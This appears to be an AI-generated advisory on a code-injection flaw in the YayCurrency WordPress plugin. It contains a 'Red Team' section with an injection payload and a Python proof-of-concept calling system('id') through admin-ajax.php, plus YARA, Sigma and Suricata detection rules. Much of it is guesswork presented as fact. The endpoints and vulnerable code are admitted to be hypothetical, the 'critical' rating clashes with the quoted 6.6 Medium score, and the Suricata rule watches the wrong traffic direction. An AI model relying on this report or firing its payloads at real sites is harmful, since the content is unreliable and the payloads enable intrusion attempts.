CVE-2025-60114

Executive Summary

CVE-2025-60114 is a critical Code Injection vulnerability (CWE-94) affecting the YayCurrency WordPress plugin by YayCommerce, up to and including version 3.3.1. This vulnerability allows an unauthenticated attacker to inject and execute arbitrary code on the server, leading to full site compromise, data theft, and potential lateral movement within the hosting environment. The vulnerability stems from improper control of code generation within the plugin's core functionality, likely during currency conversion or template rendering. As of this report, no official patch is available, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the severity and ease of exploitation make this a high-priority target for threat actors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. YayCurrency is distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from any source are at risk. The lack of a patch means that supply chain security is compromised; any site running this plugin is vulnerable until a fix is applied or the plugin is removed. Organizations should audit their WordPress installations for this plugin and treat it as a critical supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.6 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Despite the medium CVSS score, the ability to inject and execute arbitrary code without authentication makes this a critical risk in practice. The low EPSS score may be due to the recent disclosure, but exploitation is expected to increase as details become public.

Deep Dive & Mechanics

The vulnerability resides in the YayCurrency plugin's code generation logic. The plugin likely uses dynamic code evaluation (e.g., eval(), create_function(), or preg_replace() with the /e modifier) to process currency conversion rates or template strings. An attacker can inject malicious PHP code through a crafted HTTP request parameter, such as a currency value, shortcode attribute, or API endpoint input.

Attack Vector:

1. Entry Point: An unauthenticated HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php with a specific action, or a REST API route).
2. Injection: The attacker supplies a payload like '; system('id'); // in a parameter that is passed to a code generation function.
3. Execution: The plugin's code generation function evaluates the injected string, executing the attacker's code on the server.

Example vulnerable code pattern (hypothetical):

$currency_code = $_GET['currency'];
$code = "return convert_currency('$currency_code');";
$result = eval($code);

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and a hypothetical fix.

Vulnerable Code (YayCurrency <= 3.3.1):

// Vulnerable: Direct eval of user input
function yaycurrency_convert($amount, $from, $to) {
    $rate = get_option('yaycurrency_rate_' . $from . '_' . $to);
    $code = "return $amount * $rate;";
    return eval($code);
}

Patched Code (Hypothetical):

// Patched: Use arithmetic operations instead of eval
function yaycurrency_convert($amount, $from, $to) {
    $rate = floatval(get_option('yaycurrency_rate_' . $from . '_' . $to));
    return floatval($amount) * $rate;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with YayCurrency plugin version <= 3.3.1 installed and activated.
• Network access to the site.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common targets include:
   • /wp-admin/admin-ajax.php?action=yaycurrency_convert&currency=USD&amount=1
   • /wp-json/yaycurrency/v1/convert?from=USD&to=EUR&amount=1
2. Inject a payload into a parameter that is passed to eval(). Example:

   GET /wp-admin/admin-ajax.php?action=yaycurrency_convert&currency=USD';system('id');//
   

3. The server executes system('id') and returns the output.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
payload = "';system('id');//"
params = {
    "action": "yaycurrency_convert",
    "currency": payload,
    "amount": "1"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor for unusual HTTP requests to admin-ajax.php or REST API endpoints with suspicious parameters containing system, exec, eval, or PHP code patterns.
• Look for requests with multiple semicolons, quotes, or parentheses in currency or amount fields.

Response:

1. Immediately disable or remove the YayCurrency plugin.
2. Check for signs of compromise: unexpected files, modified core files, new admin users.
3. Review server logs for the injection pattern.
4. Rotate all credentials and API keys.
5. Conduct a full malware scan.

Indicators of Compromise (IOCs)

• File IOCs:

  • Suspicious PHP files in /wp-content/plugins/yaycurrency/ or /wp-content/uploads/
  • Modified wp-config.php or .htaccess files
  • Presence of webshells (e.g., shell.php, cmd.php)

• Network IOCs:

  • HTTP requests containing ';system(, ';eval(, or similar patterns
  • Outbound connections to unknown IPs or domains from the web server
  • Unusual POST requests to admin-ajax.php with large payloads

• Log IOCs:

  • Apache/Nginx access logs showing eval, system, exec in query strings
  • PHP error logs with eval() or preg_replace() errors

Detection Engineering

YARA Rule

rule CVE_2025_60114_YayCurrency_CodeInjection {
    meta:
        description = "Detects YayCurrency plugin files with potential code injection patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60114"
    strings:
        $eval_func = /eval\s*\(/ nocase
        $create_func = /create_function\s*\(/ nocase
        $preg_replace_e = /preg_replace\s*\(\s*['"][^'"]*['"]\s*,\s*['"][^'"]*['"]\s*,\s*\$[a-zA-Z_]/ nocase
        $system_func = /system\s*\(/ nocase
        $exec_func = /exec\s*\(/ nocase
    condition:
        any of ($eval_func, $create_func, $preg_replace_e, $system_func, $exec_func) and
        filesize < 500KB and
        extension == "php"
}

Sigma Rule

title: CVE-2025-60114 YayCurrency Code Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit code injection in YayCurrency plugin
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-60114
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'system('
            - 'exec('
            - 'eval('
            - 'passthru('
            - 'shell_exec('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of these functions in other contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60114 YayCurrency Code Injection Attempt"; flow:to_server,established; content:"admin-ajax.php"; http_uri; content:"action=yaycurrency_convert"; http_uri; pcre:"/(system|exec|eval|passthru|shell_exec)\s*\(/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or Remove the Plugin: Since no patch is available, the only safe option is to deactivate and delete the YayCurrency plugin from all WordPress installations.
2. Web Application Firewall (WAF) Rules: Deploy WAF rules to block requests containing eval(, system(, or similar patterns in query strings.
3. Input Validation: If you must keep the plugin, implement strict input validation and sanitization for all parameters passed to the plugin.

Long-Term Mitigation:

• Monitor the YayCommerce website and WordPress plugin repository for an official patch.
• Consider switching to an alternative currency conversion plugin that is actively maintained and has a security track record.
• Implement a WordPress security plugin (e.g., Wordfence, Sucuri) to provide additional layers of defense.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact your Valters IT representative.